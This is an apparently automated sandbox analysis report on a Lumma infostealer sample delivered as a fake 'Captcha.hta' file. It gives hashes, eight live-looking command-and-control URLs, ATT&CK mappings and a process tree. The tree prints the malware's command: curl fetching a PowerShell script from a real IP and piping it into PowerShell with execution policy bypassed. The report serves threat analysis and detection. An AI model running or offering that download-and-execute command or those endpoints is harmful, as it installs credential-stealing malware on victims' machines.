lumma | 8abf12e3a919213c8ff825c1cc1df070990156d829bd5c55d6ce2f6974d77272

Analysis

max time kernel
30s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2025 13:00

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General

Target

Captcha.hta
Size

2KB
MD5

a7045bcb116c3d85f1ff3706bec2b920
SHA1

4ff06af316d7e0453c948d358065d71301ea204a
SHA256

8abf12e3a919213c8ff825c1cc1df070990156d829bd5c55d6ce2f6974d77272
SHA512

81be5feffa1fec60145eaf21f4918a69dceb346d818560c38f9fc9ef0d972b6137b6778c3134a5a3d8e03bab1790fa1193c2ccffbd6beaf2388a1a12a9d4c4c0

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	2476	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2476 set thread context of 1220	2476	powershell.exe	91

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2476	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 2360	3576	mshta.exe	82
PID 3576 wrote to memory of 2360	3576	mshta.exe	82
PID 3576 wrote to memory of 2360	3576	mshta.exe	82
PID 2360 wrote to memory of 3684	2360	cmd.exe	84
PID 2360 wrote to memory of 3684	2360	cmd.exe	84
PID 2360 wrote to memory of 3684	2360	cmd.exe	84
PID 2360 wrote to memory of 2476	2360	cmd.exe	85
PID 2360 wrote to memory of 2476	2360	cmd.exe	85
PID 2360 wrote to memory of 2476	2360	cmd.exe	85
PID 2476 wrote to memory of 1352	2476	powershell.exe	86
PID 2476 wrote to memory of 1352	2476	powershell.exe	86
PID 2476 wrote to memory of 1352	2476	powershell.exe	86
PID 1352 wrote to memory of 2592	1352	csc.exe	87
PID 1352 wrote to memory of 2592	1352	csc.exe	87
PID 1352 wrote to memory of 2592	1352	csc.exe	87
PID 2476 wrote to memory of 2436	2476	powershell.exe	88
PID 2476 wrote to memory of 2436	2476	powershell.exe	88
PID 2476 wrote to memory of 2436	2476	powershell.exe	88
PID 2476 wrote to memory of 1064	2476	powershell.exe	89
PID 2476 wrote to memory of 1064	2476	powershell.exe	89
PID 2476 wrote to memory of 1064	2476	powershell.exe	89
PID 2476 wrote to memory of 4180	2476	powershell.exe	90
PID 2476 wrote to memory of 4180	2476	powershell.exe	90
PID 2476 wrote to memory of 4180	2476	powershell.exe	90
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91
PID 2476 wrote to memory of 1220	2476	powershell.exe	91

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Captcha.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/bgfi.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\SysWOW64\curl.exe
    curl -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/bgfi.ps1
    3⤵
    PID:3684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command -
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2476
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y5k4zzr5\y5k4zzr5.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1352
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F9B.tmp" "c:\Users\Admin\AppData\Local\Temp\y5k4zzr5\CSCD612A3A7F8234B07B767449866450DD.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2592
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
      4⤵
      PID:2436
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
      4⤵
      PID:1064
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
      4⤵
      PID:4180
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES9F9B.tmp

Filesize
1KB

MD5
e46028d9a50028ce7f358ce8ee83477a

SHA1
0554ab578577959f920c266c92cf93e714edb03d

SHA256
168e4aa4509aa620e2509296716978ee51e58e953555c7657df34cae213e44a9

SHA512
726c2468e4425c2ecd48d6e307eb7c5ed847c54f7ca7caec0e5174bd943d385bfd316c03fe35901a3d8ae8199de1d0b2a684416020e50258d7a6e1c131f793a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yrjhsrhn.0vq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\y5k4zzr5\y5k4zzr5.dll

Filesize
8KB

MD5
3a0d6f8e47686c6f0db74155205c1867

SHA1
723a2c049cdf67a11d9d84b782139a09b258045b

SHA256
71556f02dc36b4aec73942b9ba15f29da165c866745c8a131bc7c58c4488eda1

SHA512
8a801b48e9060845ec5820fc21c5e8a8b999b03680751faef99bcef681be0402291765d69015778ba779a7ed15b6380dd29bce28bf687626faaba8dfae880473

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5k4zzr5\CSCD612A3A7F8234B07B767449866450DD.TMP

Filesize
652B

MD5
5ba0e649e61eb6c7861bb815dc3873f5

SHA1
07c5b18485a8a5b61c25bd1c7617a46366dbca60

SHA256
88d8ae5d1829457f09b8cf94bfa42726053d28b48d101fe02fb6aa5b14d5654f

SHA512
a19b1c3de3b62a58c890030bd140633b668b67436142fa64e6d313f2f3456e2809a668e7f5dd5e168ba00c7c99da9f8aafbf6fd155cf008b1dd67b2c6e2943f4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5k4zzr5\y5k4zzr5.0.cs

Filesize
10KB

MD5
b022c6fe4494666c8337a975d175c726

SHA1
8197d4a993e7547d19d7b067b4d28ebe48329793

SHA256
d02016a307b3e8da1a80c29551d44c17358910816e992bc1b53da006d62dd56a

SHA512
df670235e87b1ee957086be88731b458c28629e65e052276dd543be273030986a7e5c67fa83587f68ec06fa0f33b0c3f1f041c2d06073709b340f96c3884f2b9

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y5k4zzr5\y5k4zzr5.cmdline

Filesize
204B

MD5
bfab722ab92d2b1e737bd94033ecdc17

SHA1
4a417ab25bc679275c81abdd76c1bea86f31e5f6

SHA256
76d915003c0c5a7af05e482de95c37b21406794b16db7e03a195f486a1c6e18c

SHA512
c591896a52a10633effc8d6a93f34ddb01ce2f923444ad786540235069d149b963d8fb7ddd5ee337fe8fecde1220f6c19e17a520e8b15626da09e6bdb1dee19a

Download Submit
memory/1220-44-0x0000000000400000-0x0000000000456000-memory.dmp

Filesize
344KB

Download
memory/1220-42-0x0000000000400000-0x0000000000456000-memory.dmp

Filesize
344KB

Download
memory/1220-41-0x0000000000400000-0x0000000000456000-memory.dmp

Filesize
344KB

Download
memory/2476-7-0x0000000006100000-0x0000000006166000-memory.dmp

Filesize
408KB

Download
memory/2476-26-0x0000000075330000-0x0000000075AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2476-19-0x00000000067B0000-0x00000000067FC000-memory.dmp

Filesize
304KB

Download
memory/2476-20-0x0000000006CD0000-0x0000000006D14000-memory.dmp

Filesize
272KB

Download
memory/2476-21-0x0000000007860000-0x00000000078D6000-memory.dmp

Filesize
472KB

Download
memory/2476-22-0x0000000008160000-0x00000000087DA000-memory.dmp

Filesize
6.5MB

Download
memory/2476-23-0x0000000007B00000-0x0000000007B1A000-memory.dmp

Filesize
104KB

Download
memory/2476-24-0x00000000054D0000-0x00000000054E2000-memory.dmp

Filesize
72KB

Download
memory/2476-25-0x000000007533E000-0x000000007533F000-memory.dmp

Filesize
4KB

Download
memory/2476-18-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/2476-17-0x0000000006170000-0x00000000064C4000-memory.dmp

Filesize
3.3MB

Download
memory/2476-0-0x000000007533E000-0x000000007533F000-memory.dmp

Filesize
4KB

Download
memory/2476-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download
memory/2476-5-0x00000000057B0000-0x00000000057D2000-memory.dmp

Filesize
136KB

Download
memory/2476-4-0x0000000005870000-0x0000000005E98000-memory.dmp

Filesize
6.2MB

Download
memory/2476-39-0x00000000054E0000-0x00000000054E8000-memory.dmp

Filesize
32KB

Download
memory/2476-3-0x0000000075330000-0x0000000075AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2476-2-0x0000000075330000-0x0000000075AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2476-1-0x0000000003190000-0x00000000031C6000-memory.dmp

Filesize
216KB

Download
memory/2476-47-0x0000000075330000-0x0000000075AE0000-memory.dmp

Filesize
7.7MB

Download